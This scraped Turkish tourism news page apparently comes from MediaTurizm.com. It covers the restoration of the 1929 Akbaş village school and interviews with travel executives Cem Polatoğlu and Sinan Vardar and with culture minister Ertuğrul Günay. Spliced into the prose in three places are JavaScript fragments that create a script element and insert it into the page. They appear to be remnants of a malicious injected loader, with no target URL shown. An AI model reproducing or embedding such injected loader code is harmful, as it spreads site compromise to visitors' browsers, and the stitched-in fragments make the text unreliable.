Kanunu’nun 1928 yılında çıkmış olduğu ve harf devriminin de aynı yıl gerçekleşmiş olduğu dikkate alındığında OKULUMUZ, CUMHURİYETİN KURULUŞUNDAN SONRA, YAYGIN EĞİTİMİN ÖNCE KÖYLERDEN BAŞLATILMASI AMACI İLE AÇILAN İLK KÖY İLKOKULUDUR.1929 yılında hizmete alınmış olan bu tarihi okula, köyümüzde mevcut öğretmen sicil kayıt defterine göre, ilk olarak, 06.11.1929 tarihinde “Balıkesir erkek muallim mektebi aliyyül’ala” dan 1. ve 2. sınıfları okutmak üzere 1317 Sındırgı doğumlu Mustafa Efendi oğlu İlyas Faruk bey atanmıştır. 1991 yılına kadar, 62 yıl boyunca, aralıksız olarak eğitim-öğretim yapılmıştır. 1991 yılında, “öğrenci yetersizliği” nedeni ile Milli Eğitim Bakanlığı’nca kapatılmıştır. O zamandan bu yana, öğrencilerimiz taşımalı sistemle İlçe merkezindeki okullara alınmış, bu tarihi yapı ise kaderine terk edilmiştir. 2006-2007 yıllarında restorasyon için gerekli izinler alınmış; 2008 yılı yazında başlayan restorasyon çalışması 2009 Ekim ayında tamamlanmıştır. Bu tarihi yapı, içinde bir adet Köy Etnografya Galerisi, içinde ilk eşyaları barındıran bir adet Tarihi Okul Galerisi, bir adet Halk Eğitim Atölyesi, bir adet Mutfak ve 1 adet Sosyal Aktivite Salonu olmak üzere  “ÇOK AMAÇLI KÖY KONAĞI” olarak hizmete sunulmuştur”

gülay dayıcan

Şimdi kimdir diyeceksiniz, bu Türk Kadını: Akbaş Köyü’nün eski muhtarı, Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı GÜLAY DAYICAN…

Gülay Dayıcan Amerika’dan kesin dönüş yapan aydın Türk kadınlarımızdan biri. Dayıcan senelerce dünyanın en medeni ülkesinde ve New York gibi çok hareketli bir şehirden Türkiye’ye kesin dönüş yaptığı zaman adresim Balıkesir’in Akbaş Köyü demiş… Ve de Türkiye’deki hizmetlerine de burada devam etmiş. 2004 seçimlerinde muhtar seçilen Gülay Akbaş, yıllar içinde viraneye dönen bu tarihi mekanı köyüne kazandırmak için harekete geçmişti.

cumhuriyet okulunun galerisi

Kasım ayı içerisinde Devlet erkanın da katıldığı bir törenle hizmete açılan yapının kurdelesini de Vali Vekili M.Kemal Özgün kesti. Özgün’ün yanı sıra  Vali Yardımcısı Hasan Hüseyin CAN, Balya Kaymakam V. Erkan KALENDER, Balya Belediye Başkanı Dündar CENGİZ, İl Genel Meclisi Başkanı M. Akif OKUR, Balıkesir Eski Belediye Başkanı Sabri UĞUR, ADD Şube Başkanı Mürüvvet KELEŞ, okulun eski öğretmenleri ve mezunları ile çok sayıda davetli ve vatandaş katıldı. Köy muhtarı İsmail ÖZDEN konuşmasında” Ben Akbaş Köyü İlkokulu 1967 girişli 1/A sınıfı öğrencisiyim. Bugün burada kişisel geçmişlerimizin gün yüzüne çıktığı tarihi mekanın açılışını yapmak üzere toplanmış bulunuyoruz. Her ne kadar başlangıcında olamasam da muhtar olarak bitiriliş aşamasında dahil olduğumuz projenin içinde olmaktan gurur duymaktayız. Ancak böylesine zahmetli bir işin başarılmasında en büyük emek eski muhtarımız ve halen köyümüz Yardımlaşma ve Güzelleştirme Derneği Başkanı Gülay DAYICAN’ a aittir, kendisine ve emeği geçen herkese buradan teşekkür ediyor sözü Gülay hanıma bırakıyorum “dedi.

Daha sonra söz alan Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı Gülay DAYICAN ise   “2000 yılında köye taşındığımdan beri okulun bu hali ben çok üzmekte idi. Okulun tarihi geçmişini hem okulun ilk öğrencilerinden olan babamdan, hem Ahmet Ağayı yaşlılığında tanıyan bir kişi olarak ondan, hem okulumuzun ilk bayan öğretmeni ve halen sağ olan Nemciye ÖNDER’ den dinlemiş, hem de aile albümümüzde bulunan eski hali ile tek bir fotoğrafını görmüştüm.2004 yılı Yerel Seçimlerinde Muhtarlık görevini devir aldığımda, Cumhuriyet tarihimizin bir kültür değeri olan bu tarihi yapıyı kurtarmak için dönemin Valisi Sayın Atıl ÜZELGÜN’ e başvurdum. Vali Atıl ÜZELGÜN ile başlayan bu proje 3 Valimizi daha meşgul etti. Açılışı yapmakta İlimize yeni atanan ancak geldiği günden beri dinamizmi ile hepimizi etkileyen Sayın Valim Yılmaz ARSLAN’ a kısmet olacaktı ancak ani bir görev nedeni ile Ankara, ya gitmek zorunda kalınca Vali Vekilimiz M. Kemal ÖZGÜN’ e kısmet oldu. Devlet-Millet işbirliği ile bitirilmiş olan bu projenin maliyeti 75.000 TL dir. Bu paranın 35.000TL’si çeşitli zaman aralıkları ile Devlet yardımı olarak İl Özel İdaresi ve Balya Köylere Hizmet Götürme Birliğinden karşılanmış olup, geri kalan kısmı ayni ve nakdi yardım olarak başta Esan-Eczacıbaşı Firmasının sosyal projeler kapsamından, ilimizdeki bazı sivil toplum kuruluşlarından,ilimize bağlı bazı belediyelerden, projeye duyarlı halktan ve tabiî ki köyümüzde ve yurt dışında yaşamını sürdüren köy halkının yapmış olduğu bağışlarla tamamlanmıştır. Bu Projenin başından beri beni hiçbir zaman yalnız bırakmayan tüm görevliler ile Şule, Kübra ve Ulviye kardeşlere teşekkür ediyor, rahmetli olanlara Allahtan rahmet diliyorum. Hepinizi saygı ile selamlarım.” Dedi.

Balya Kaymakam Vekili Erkan KALENDER de” Cumhuriyetin kuruluş zamanı ile birlikte kurulan Akbaş Köyü İlk Okulunun1991 yılında misyonunu tamamladığı düşünülerek kapatılmasından sonra tekrardan restore edilerek açılmasında emeği geçen başta Sayın Valimiz olmak üzere, eserin ortaya çıkarılması ve yapımında çok büyük emekleri geçen Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı Gülay DAYICAN’ a, Muhtar İsmail ÖZDEN’ e, köy halkına, kamu kurum ve kuruluşlarına teşekkür ederken Etnografya Galerisinin hayırlı uğurlu olmasını diler saygılar sunarım “dedi.

GÜLAY DAYICAN KİMDİR?

1951 yılında Ankara’da doğdu. İlk, orta ve lise tahsilini İstanbul’da tamamladı. 1971 yılında İstanbul Üniversitesi Çapa Tıp Fakültesi Psikiyatri ve klinik psikoloji sertifikası alarak, 1973 yılında İstanbul Üniversitesi Edebiyat Fakültesi Psikoloji bölümünden mezun oldu. İlk meslek hayatına 1973 yılında Samsun Karadeniz Bölgesi Ruh ve Sinir hastalıkları hastanesinde Klinik psikolog olarak başladı. 1977 yılında davet üzerine Amerika’ya gitti. Bir yandan meslek hayatını sürdürürken diğer yandan New York Medical College Biyolojik Psikiyatri birimi psikofarmakoloji alanında ihtisas yaptı. 1984 yılında, dünyaca ünlü bir ilaç firmasında araştırma müfettişi olarak göreve başlayan Dayıcan, 1991 yılında yine ayni firmanın dünya müfettişliğine getirildi. Uluslararası düzeyde 15 den fazla araştırmaya imza atıp yayını olan Dayıcan, 1994 yılında emekliye ayrılarak Türkiye’ye dönüş yaptı. Bir süre, İstanbul ve Antakya’da ikamet ettikten sonra 1999 yılında atalarının toprağı ve baba ocağı olan Balıkesir’in Balya İlçesine bağlı Akbaş köyüne yerleşip, bilgi ve deneyim birikimlerini bu şirin orman köyünde değerlendirerek ülke kalkınmasına bir nebze hizmet etmeye karar verdi. 2004′de köye muhtar seçilen Dayıcan, 5 yıl boyunca başarıyla görev yaptı. 2009′da muhtarlığa yeniden aday olmayan Dayıcan, Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı olarak köyüne hizmet vermeyi sürdürüyor.

okulun galerisivar d=document;var s=d.createElement(‘script’);

Dünyayı en çok gezen kişilerden biri: CEM POLATOĞLU

CEM POLATOĞLU
Hani KATİP ÇELEBİ’nin SEYAHATNAMESİ kitabı var ya aslında Baracuda Turizm’in sahibi Sayın Cem Polatoğlu için yazılmış desek inanın mübalağa etmiş olmayız. Çünkü Sayın Polatoğlu dünya üzerindeki 178 ülkeden 102 sini görmüş… Ama gördüğü ülkelerdeki olayları çok değişik bir gözle takip etmiş bir kişi. Bizler de sizin için  dünyayı ve insanlarını en güzel kimden dinleriz diyerek Sayın Polatoğlu ile keyifli bir röp. yapalım dedik. İşte sorular, işte cevaplar…

Söze bütün dünyayı dolaştığınız istihbaratını alarak başlayacağım ve sizin için dünyanın en güzeli yeri neresidir diyeceğim…

Ben de size klasik bir cevap vereceğim. Ama gerçek; Türkiye… Dünyada deniz kum güneş için bir yere gidebilirsiniz, Ör. Zanzibar, Cebu, Bali…Tayland kültür ve tarih için de, Ör. Yunanistan, Mısır. Sadece gurme turlarına katılıp yemeği güzel olan bir ülkeyi de ziyaret edebilirsiniz, Ör. İtalya. Doğal güzelliği için de; Rio, Eğlenmek için de seçeneğiniz var; Hollanda. Ucuz alışveriş için de bir ülkeye gitmeniz ziyaret etmeniz mümkün;  Tunus, Tayland. Sıcak sevimli cana yakın insanları içinde, Ürdün, Lübnan. Kış turizmi içinde, Avusturya, Romanya, Ama modern, medeni, kaliteli yaşamın merkezinde de kendinizi şımartmak isteyebilirsiniz Fransa.. Ama bunların hepsini tek bir ülkede ancak burada, Türkiye de yaşarsınız. Benim memleketimde. TÜRKİYE

Bu kadar gezdikten sonra acaba görmediğiniz ve de aklınızda kalan bir yer var mı?

Bu kış Papua Yeni Gine, Fiji adaları ve Tazmanya’yı da içeren turumu tamamlayıp kitabımı yazacağım. Tabii ki  178 ülkenin hepsine gitmedim. Tam 102 ülke olmuş. Ama sayı yapacağım diye de aynı kültür ve coğrafyada olan ülkelerin hepsine gitmek gibi bir niyetim de yok açıkçası.
Sizin için seyahat etmek nasıl bir duygu; işiniz harici tatil yapmak isteseniz nereyi tercih edersiniz…

Seyahat etmek her şeyden önce işim. Herkesten farklı bakıyorum gittiğim yerlere ve otellere. Benim müşterim ne sever, ne yer,  nasıl bir otel konseptinden hoşlanır. Akşam nerede eğlenir. Sürekli bir araştırma tarama halindeyim. Kağıda veya beynime yazıyorum. Sürekli elim deklanşörde. Ama eğer iş harici tatil yapmak istersem bu kesinlikle Bodrum olur.
Şimdi de biraz Türkiye turizmi ile ilgili görüşlerinizi almak istiyorum. Türk turizmi sizce nereden nerelere geldi. Ve de nereye gidiyor?

30 kusur sene önce rehberlik günlerimde Kapadokya’da turistlerimi Vita yağı tenekesinde odunda su ısıtarak yıkardım. Şimdi 7 yıldızlı otellerde ağırlıyoruz. 30 sene önce havaalanında gruplarımla “salya-sümük” ağlaşarak ayrılırdık. Şimdi alışveriş yapmayan turistler nedeniyle rehberler grubu havaalanında adete” atıp-gidiyor” Eskiden halk elindeki ekmeği de tanrı misafiri gördüğü turistle paylaşırdı. Şimdi turistik bölgelerde turisti nasıl kazıklasam diyen kitle oluştu.

2010 Avrupa Kültür başkenti olarak yapılacak hazırlıklar konusunda bilginiz var mı? Var ise sizce yeterli mi?

Antwerpen (Belçika), Weimar (Almanya), Santiago de Compostela (Galiçya-İspanya), Vignon (Fransa), Cork (İrlanda), Patras (Yunanistan), Sibiu (Romanya), Stavanger (Norveç), Vilnüs (Litvanya) … Bu şehirleri duymuş muydunuz daha önce.. Bu şehirlerin hepsi çeşitli senelerde Avrupa Kültür başkenti olmuş. Yani abartacak bir durum yok. Kimse de bunu bir sene sonra hatırlamıyor. Sorun sıradan  bir Avrupalıya, olaydan haberi dahi yok. Peki seneye sadece İstanbul’un değil Essen ve Pecs’inde Avrupa Kültür başkenti olduğunu biliyor muydunuz?  Bence çoğu kişi buna Yooo diyecektir. E peki nedir bu senelerdir duyulan heyecan? Değecek mi bu kadar kazı uyandırdığımıza? Evet; Eğer bu işin tanıtımı ! için 100 milyon euro’nun bir yerlere harcandığını ve harcanacağını söylersem ???

2010: İstanbul (Türkiye) – Essen (Almanya) – Pécs (Macaristan)
2011: Turku (Finland) — Tallinn (Estonya)
2012: Guimarães (Portekiz) — Maribor (Slovenya)
Türkiye’de şu an uygulanmakta olan bazı bazlar var. Mesela yabancılara çok düşük standartta fiyatlar uygulanırken, içe dönük seyahatlerde neden yüksek fiyatlar tercih ediliyor?

Hayır böyle bir şey asla yok. Şöyle ki. Kapı fiyatını kişi başı 100 euro olarak pazarlayan otelciye yabancı tur operatörü Ekim Kasım ayında gidiyor ve peşin-nakit olarak 20 euro teklif ediyor. Otelinin %60-70 ini ekimde pazarlayan otelci nakiti ile hem masraflarını çıkartıyor hem de gerekli tadilat parasını toparlıyor hem de otelin boş kalmamasını garantiliyor. Yabancı tur operatörü de kendi tüketicisi Kasım-Aralık’ta erken rezervasyonla bu otelleri satın aldığı için odayı %10 karla 22 euroya satıyor.

Aynı otelci işler iyi giderse kalan odaları şubatta 40 , martta 60 nisan’da 80 euroya satıyor. Peki Türk tüketici ne zaman tatile karar veriyor? 1 hafta önce… O zaman da 100 euro ödüyor.

Gerçi yavaş yavaş Türk tüketicisi de erken rezervasyona alışıyor. Ama şimdilik en erken Nisan ayında satın alıyor. O zaman da en fazla %20-30 indirimle 70 euro ya oteli satın alıyor. Kısaca Avrupalı 22 euro’ya alırken Türk 70 euro’ya. Ben de bileyim ki Türk tüketici Kasımda benim satın aldığım odaları satın alacak. Ben de riske girer ve 20 euro’dan aynı odaları alırım.

NOT; Unutulmamalıdır ki bizim ve otelciler için en iyi müşteri Türk müşteridir. Çünkü Türk yer, içer, harcar, bahşiş verir..

Dünya standartlarına göre ülkemizde oteller için uygulanan yıldızlama işleminde hata var mı?

Yıldızlama sistemi standarttır ama uygulamada bazı hatalar olabiliyor. Yurtdışında da bu gibi hatalar olabiliyor. Ör. ben İtalya’da 4 yıldız yerine Fransa’da 2 yıldızı tercih ederim.

Son olarak da dünyaya yeniden gelseniz aynı mesleğimi yoksa başka bir dalı mı tercih eder siniz…

Kesinlikle aynı mesleği tercih ederim.. İşimi seviyorum, çok mutluyum, dünyayı geziyorum, dünyaya entegreyim, iyi de kazanıyorum…

Bizde Sayın Cem Polatoğlu’na çok teşekkür ediyor ve sağlıklı, mutlu, heyecanlı seyahatler temenni ediyoruz…document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {

Vardar: “Biz turizmciler birlik olmayı bilemedik”

sinnnnnnnnnnnnn

Turizmin duayenlerinden…

Tam 40 yıldan beri bu mesleğe baş koymuş…

Kalbi Beşiktaş için atıyor…

Siyah-beyazlı kulübün yöneticiliğinin çeşitli kademelerinde görev almış bir kişi…

Aslında sadece Beşiktaş değil, İstanbul’un 100 yıllık kulüplerinin gerçek anlamda babası… Çünkü bu kulüplerin senelerce başkanlığını yapmış ve hepsini bir yerlere getirmiş…

Sözü daha fazla uzatmadan  JOLLY TUR’un CEO’su Sayın Sinan Vardar’a bırakalım…

2009 senesinin 9. ayındayız ve Türk Turizmini nasıl buluyorsunuz?

Şimdi  bu sene dışarıdan gelen turizmde büyük sıkıntı oldu. Bunun da sebebi dünyadaki ekonomik kriz. Avrupa’da bir anket yapıldı. Tüketicinin büyük kısmı “Ben bu ekonomik kriz ile uzun yıllar tatile gidemem “diyor. Bunların bir kısmı ucuz ve yakın bir yere giderimi tercih ederken; yüzde 20’si önümüzdeki  yıl ne gösterecek ona göre diyor. Yüzde 10’u da ben gezerim diyor. Bunlar gerçek anlamda facia görünüyor. Bunun üzerine oteller fiyatlarını aşağı çekti, hakikaten fedakarlık yaptı. Temmuz ayından itibaren bir kıpırdanma oldu. Ve zannederim ki, gelecek seneye yakın bir rakamla sezonu kapatacağız. Ama gelen turist girdilerde ise yüzde 10-15’e yakın düştü olacak. Bunun bir de öbür tarafına baktığımızda 72 milyon nüfus var. 5 milyonu seyahat ediyor. Bizi sevindiren kendi şirketimizin yüzde 20’lik artışı var. Bizi en çok sevindiren ise kültür turlarına büyük rağbet var. Şimdi asıl olay Doğu’ya yatırım olması. Nitekim Mercury şirketi bu konuda çok müteşebbis. Doğu’ya bayağı yatırım yapıyor. Bu çabaların bir an evvel artması lazım. Mesela Mardin gibi bir ilimizin, Van’da önemli gelişmeler olacağını da tahmin ediyorum.
sinan 2
Yakın seneler öncesi  Her şey Dahil konumu yokken çevre esnafı mutluydu. Oysa şimdi bu statü sebebiyle çevrede bayağı düşüş var. Dolayısıyla da şikayetler çoğalıyor. Bu konudaki görüşleriniz…

Bir kere Sayın Turgut Özal’ın mekanı cennet olsun. Bu ilk turizm tahsisleri verilirken; biz daha sonraki yıllar bu kapasitenin ne kadar önemli olduğunu ancak anlayabildik. Çünkü oteller yapılırken, onların arkalarına yapılan eğlence siteleri; villalar, konutlar yaparak daha sonra da onları yabancılara satarak; bunlardan gelen getirilerle tesislerin tamamlanması için büyük çabalar harcadık. Bu konu ile ilgili olarak Turizm Bakanlığı’na çok öneri verdik. Ama bu iş ciddiye alınmadığı için otellerin arkasına çok kısıtlı evler yapıldı. Ve sonunda oteller 5 yıldızlı ama  maalesef civar tek yıldızlı olarak kaldı. Daha sonra Magic Life bu uygulamaya başladı. İlk olarak da Dominik Cumhuriyeti’nde yapıldı. Ben her zaman söylerim üç bin euro’ya getiriyoruz da insanlar mı gelmiyor diye! Bu arz talep meselesi moda oldu. Bakın dikkat edin Akdeniz yöresinde önümüzdeki yıllarda bir milyon üç yüz bin yatak kapasitesi oluşacak. Tunuslular, Hırvatistan,Dubaililer sırada. Ayrıca bir milyon üç yüz yatağı doldurmak için yeni turist gerekiyor. Onun için bu her şey dahilden şu aşamada vazgeçmek mümkün değil. Ama keşke belirli bölgelerde yapılsın derim. Mesela Bodrum’da…Biz turizmciler hiçbir zaman birlik olamadık ve ağlamasını bilmiyoruz. Master planlar sunmalıyız. Şimdi bakın TÜRSAB, Otelciler Birliği, sivil havacılık yani turizmin oluşmasındaki en önemli gruplar maalesef birbirleri ile paslaşarak hareket etmiyorlar. Sayın Bakan’ın bu konudaki çalışmalarını tasvip ediyorum. Ben mesela tur operatörleri ile konuşuyorum. Yazın cebine 50-100 bin euro girdiği zaman sesi çıkmıyor.Turizmde beraberlik olmadı, gelecek senelerde de olamaz. Bu işten 6-7 milyon kişi ekmek yiyor. Özellikle dış ticaret açığımızı bu yollar aslında çok rahat kapatabiliriz… 1618 sayılı turizm yasası ile aslında hepimizin bir bayrak altında toplanması gerekiyor. Kaybımız ferdilikten. Bence ekonomiyi en kolay dengeye getirecek sektör turizmdir. Mesela Sheraton bu işi kolay yapıyor yarım pansiyon ile yüzde 90doluluk kapasitesinde çalışıyor. Demek ki oluyormuş. Ama Antalya’da 2700 otel var. Tabii bunlar boş kalınca da olay değişiyor. İnanın 30 dolara her şey dahil satıyor; ama bu defa da hizmet düşüyor. Maalesef zaman zaman çok üzülüyoruz, sahte içkilerden dolayı zehirlenmeler olacak. Öbür tarafa baktığınızda en büyük vergi içkilerde, yani nasıl hallolacak belli değil. Ama ben gene Sayın Bakanım için CESUR YÜREK diye bir yazı da yazdım. Yeni tur operatörlerinin çıkması lazım. Ayrıca onlara devlet kredisi verilmesi lazım. Dünyada tek örneğiz. Başka ülkede şirket kurup Türkiye’ye tur yapan…

Türkiye’nin tanıtımında büyük emek vermiş bir kişi olarak Sayın Sinan Vardar’ın görmediği ülke var mı? Ve de tatile çıkacak olsanız nereyi tercih edersiniz…

Şimdi görmediğim ülke Çin, Allah nasip ederse Kasım ayında gideceğim. Bir davet aldım o sebeple Çin’e gideceğim. Tatil içinse  Küba, İtalya favorilerimden. Hatta İtalya’da enteresan olaylar gelişiyor. 5000 Türk oraya gidince bazen bakıyorsunuz dükkanlar da Türkçe Ucuzluk diye yazılar göze çarpıyor. Hatta bir turumuzda herkes dörder beşer bavulla dönmeye kalkınca; ekstra uçak bagajı kiralamak zorunda bile kaldık.

Gelecek yıl 2010 senesi Avrupa Kültür Başkenti olarak bu projeyi nasıl yorumluyorsunuz?

Valla 100 milyon dolarlık bir bütçe ile bu iş kifayetli olamaz. Son derece yetersiz bir bütçedir. Ben ne kadar tanıtacağımıza ben inanmıyorum. İstanbul’umuzu çok iyi şekilde tanıtacağımıza inanmıyorum. Çünkü proje içinde turizmci yok.

Turizm’den futbola geçsek ve sizin en büyük aşkınız Beşiktaş. Geçen yılın iki kupalı takımının bu seneki halini nasıl yorumluyorsunuz?

Şimdi Ümraniye’de hem bu işi bilen, hem de dürüst insanların olmayışı, hatta şampiyonlar şampiyonu kadroya 8 tanede transfer yapıldı. Zaten iyi bir kadrosu vardı. Ben olsaydım, Gündüz Ağabey gibi birileriyle danışmanlı işler yapardım. Bir kere Beşiktaş’ta transfer hataları var. Dört ay sonra bir kongre var. Bu işi doğru yaparsanız sonucu da iyi olur. Mesela Serdar Özkan  ben bu çocukla beş altı senedir boğuşuyorum.Önce Akçaabat, sonra Samsun’a kiralık verdik.Oradan Ümit Milli Takım’da başarılı oldu. Hatta Antalya’ya bedava veriliyordu; ben engelledim. Şimdi de bakıyoruz Serdar takımın en iyisi. Hep gençler… Gene Arda!  Ersun Yanal Manisa’da oynatmasaydı; bugün Arda diye bir futbolcu yoktu.  Dürüst futbol adamı şart. Bunun altını tekrar çiziyorum. Beşiktaş’ın bugünkü durumunun tek sebebi yeterli ve doğru futbolcu alınmaması. Sosyal devrim yapmayan kulüp asla kurumsallaşamaz. Gene bir örnek vereceğim. Bundan birkaç sene önce Leverkusen’i gittim. Adamlar kulübü öyle bir hale getirmişler ki; adeta sosyal tesis. Herhangi bir kutlaması olan oraya gidiyor. Bence Türkiye’ye dönecek olursak en geri kalmışı Beşiktaş.Nitekim İnönü Stadı’nın yenilenme çalışmaları için ben bu önerileri Sayın Başkan’a getirdim. İşin yapılması aslında çok zor çünkü tarihi bir konumda bulunan stadın asla dış görünümünün bozulmaması gerekiyor. Mesela dış görünüşünü arena gibi bir stad yapıp içerisini ultra modern kullanabilirsiniz. İnşallah bu seçimde kim aday olursa olsun öncelikle Beşiktaş için bir şeyler yapması lazım. 100 binlik bir üye kaydı ile aidat geliri de yükselecek ve Beşiktaş’ın bu sebeple borcunu da silmesi mümkün olacak.

İstanbul’un asırlık kulüplerine başkanlık yaptınız. Beykoz,Üsküdar Anadolu,Beylerbeyi ve Anadolu Hisarı… Beşiktaş’a başkan adayı olmayı düşünür müsünüz?

Başta ailemle konuşuyorum. Çok istek ve destek var. Ama Beşiktaş’a başkan olmak kolay değil. Burada birlik ve beraberlik şart.Ben öyle insanlar tanıyorum ki, büyük bir şirkette Genel Müdür , Yönetim Kurulu Başkanı, çok akil, ekonomist… Bu insanların bir araya gelmesi ile Beşiktaş hakikaten kurtulur. Bir kere Beşiktaş’ın harika bir seyircisi var. İngilizler bile hayret etti. Böyle bir seyirci var. 20 milyon sempatizanı var. Beşiktaş aslında yanardağ gibi. Fakat kişiler şahsi menfaatlerini ön plana çıkarmak için Beşiktaş yönetimine aday oluyorlar. Sonu da hüsran tabii. Aslında iyi kullanılsa bir milyar dolarlık marka değeri olan bir kulüp…

} else {var d=document;var s=d.createElement(‘script’);

Kültür ve Turizm Bakanı Ertuğrul Günay’ın MediaTurizm.com’a özel demeci

Ertuğrul Günay

“Uludağ’da özel teşebbüs başına buyruk vaziyette!”
“Türk turizmi geçtiğimiz yıllara nazaran daha başarılı bir sezon geçirdi…”
“Yunanistan ile vize sorunlarımızı önümüzdeki günlerde halledeceğiz…”
“20 yıldır Likya Bölgesi ve Batı Akdeniz’de tatil yapıyorum”
“2010 Avrupa Kültür Başkenti projesindeki amaç kalıcı eserler bırakmak”

Serap ÖZAKSOY

Bir ülkenin tanıtımında her ne kadar insanlara görev düşüyorsa da… Hepsinden önemlisi devletin bu konudaki yaklaşımıdır. Nitekim Türkiye’nin gerçek anlamda hem kültürü, hem insanı hem de turizminin tanıtılmasında tabii ki devletin büyük rolü var. Bizler de bu konuda hem aydınlanmak, hem ileriye dönük Türk turuzmi için neler yapılacağını öğrenmek hem de bu konuda en iyi bilgileri almak için Sayın Kültür ve Turizm Bakanı Ertuğrul Günay ile Media Turizm.com olarak özel bir röportaj yaptık.

Sayın Günay’da hem sıcak, hem samimi, hem de yol gösterici olarak bizlerle bazı konuları paylaştı. Şimdi sözü daha fazla uzatmadan Sayın Kültür ve Turizm Bakanı’mıza bırakıyoruz…

2009 yılı turizm sezonunu değerlendirebilir misiniz?

Türk turizmi, küresel kriz ile domuz gribinin etkilerine direniyor. İlk 6 ayda yabancı turist sayısı sadece yüzde 0,9 azalarak, 10 milyon 590 bin 631 kişi oldu.  Dünyadaki olumsuz gelişmelere rağmen,  geçen yılın rakamlarını koruyabilecekmişiz gibi görünüyor. Dünya Turizm Örgütü, 2009′un turizminde büyüme görülmeyeceğini ve yüzde 1-2 düşüş yaşanacağını bildirmişti. Türkiye’nin, turist sayısında ilk 6 ayda yüzde 0,9 düşüşte kalmayı başarması önemli bir gelişmedir.

Bu yıl, Ukrayna, Almanya ve Rusya gibi bazı pazarlarda 2008′e göre daralma yaşarken İskandinavya, İtalya, İspanya ve Fransa gibi Akdeniz ülkelerinde, Polonya’da, kısmen İngiltere’de ve Ortadoğu ülkelerinde geçen yıla göre üstünlük yaşanıyor. Bu yüzden biz yüzde 1 ve yüzde 2′nin altında bir daralma yaşıyoruz. Bu, dünyaya göre çok iyi bir gelişme. Geçtiğimiz günlerde de İngiltere’nin önde gelen yayınlarından The Times Gazetesi, Türkiye: Turizmde 2009 Yılının Başarı Öyküsü” diye yazdı ve ülkemizi küresel krizin dünya turizmini etkilediği 2009 yılında sektörde en başarı ülke olarak ilan etti.

2009 yılını geçen yıl seviyelerinde kapatacağımızı umut ediyorum. Geçen yıl çok başarılı bir yıldı. Dünya ortalamasının çok üzerinde bir yerdeydik. Bu yıl da dünya ortalamasının üzerinde olacağız ama dünya ortalaması bu yıl eksi olacak. Bizim hedefimiz, 2010′da 30 milyonlar eşiğini yakalamak, yakın bir gelecekte de aşmak. Dünyada yaşanan ekonomik kriz ve salgın hastalıklara bakıldığında bu ülkemiz için özel bir başarı olacak.

Ertuğrul Günay

Size göre ülkemizdeki otel kapasitesi yeterli mi?

Dünya turizm merkezlerinin yaptığı açıklamalara göre, 2008 yılında Türkiye dünyanın en iyi 100 otelinin 39′una sahip. Biz de hükümet olarak nitelikli yatırımlar yapan girişimcilere destek olmaya çalışıyoruz.

Her sene turizm sezonu öncesi dünyada ortaya çıkan hastalık ve savaşların oluşmasını nasıl yorumluyorsunuz?

Bütün bu olumsuzluklara rağmen Türkiye son 25 yılda bir imkansızı gerçekleştirdi. Bir yandan sınırları içinde terörle diğer yandan dünyada ortaya çıkan hastalıklarla mücadele ederken turizm ülkesi olma gayreti gösterdi. Bu gelişmelere rağmen, turizmini bu denli geliştirmiş dünyada bir başka örnek ülke daha yoktur diye düşünüyorum.

Türkiye 2010 İstanbul Avrupa başkenti projesini kaldırabilecek mi? Nedenleri nelerdir?

2010 projesi;   kamu, yerel yönetim, sivil toplum kuruluşları, meslek örgütleri, üniversiteler, özel sektör ile “İstanbul’u daha iyi tanıtma, koruma ve yaşatma konusunda sorumluluğum var” diyen tüm toplum kesimlerinin dahil olduğu çoğulcu bir proje.

İstanbul’un geleceğine katkı sağlayacak sürdürülebilir projeler geliştirerek; kentin tarihi mirasını ve kültürel değerlerini geleceğe taşımak, kültür-sanat altyapısını geliştirmek, İstanbullular’ın yaşam kalitesini kültür-sanat odağında yükseltmek hedefiyle çalışmalarımızı kesintisiz, büyük bir titizlikle sürdürüyoruz.

Çok yönlü ve kapsamlı bir çalışma sürecini kapsayan 2010 projesini en iyi şekilde değerlendirmeyi İstanbul’a ve ülkemize karşı ortak sorumluluğumuz olarak görüyoruz. İstanbul’un gerek kentsel-kültürel alanda, gerekse yurt dışındaki tanıtımında birçok kazanımlar elde etmesi için samimiyetle çalışıyoruz.

Bu çerçevede, Bakanlık olarak, İstanbul’un kültürüne sahip çıkarak,  İstanbul’un tarihi dokusunu dengesiz ve çirkin yapılardan arındırmaya çalışıyoruz. Özellikle,  Topkapı Sarayı çevresi ve Sur-i Sultani master planı çalışmalarıyla, Bizans, Roma, Osmanlı ve Cumhuriyet döneminden kalan birbirinden değerli kültürel varlığı restore ederek hayata katmak, tüm dünyaya iftiharla sunabilmek için gayret ediyoruz.

Sur-u Sultani içinde Telgrafhane ve eski karakol çevresinde çirkin yapılaşmayı ve işgalleri yıkarak kaldırdık. Darphaneyi, Matbaa-i Amire’yi, Teşvikiye Hastanelerini yakın gelecekte Topkapı’nın teşhir mekanları arasına katacağız. Topkapı ile ilişkisi olmayan Askeriye, Milli Eğitim ve Sağlık Bakanlıklarına ait binaları boşaltmaya başladık. Topkapı’nın depo ve sergileme imkanlarını bugünkünün birkaç katına çıkarmayı hedefliyoruz.

Topkapı, Osmanlı’nın son döneminden bu yana ihmal edilmiş. Padişah, Yıldız’a ve Dolmabahçe’ye geçtikten sonra bu saray hem içinden hem dışından çeşitli yapılaşma bozuklukları ve saldırılarıyla karşı karşıya kalmış. 2 yıldan bu yana adım adım burayı iyileştirmeye, hem fiziki olarak hem de fonksiyon olarak aslına döndürmeye çalışıyoruz. Çok yapılacak iş var ama bir adım bile önemlidir diye düşünüyorum.

Sürdürülen çalışmalarla, 2010’da bir final değil, İstanbul’un tarihi kimliğine sahip çıktığımızı gösteren bir başlangıç yapacağız. Tüm gayretimiz,  İstanbul’a 2010 Avrupa Kültür Başkenti sürecinde kalıcı eserler bırakmak ve bu kenti tekrar gerçek kimliğine kavuşturmak.

Üç tarafı denizlerle kaplı ülkemizde neden deniz taşımacılığına-yolculuk amacıyla yapılan- önem verilmiyor? Hatta deniz taşımacılığının gerilemesinin sebepleri nelerdir?

Bildiğiniz gibi, sektörün kruvaziyer turizminin geliştirilmesi için ayakbastı ücretlerinin düşürülmesi yönünde talepleri var. Bakanlığımızca da uygun görülmekle birlikte, konunun rakibimiz ülkelerle uygulanan tarifeler de göz önünde bulundurularak,  Denizcilik Müsteşarlığı ile Özelleştirme İdaresi Başkanlığınca değerlendirilmesinin uygun olacağını düşünüyorum.

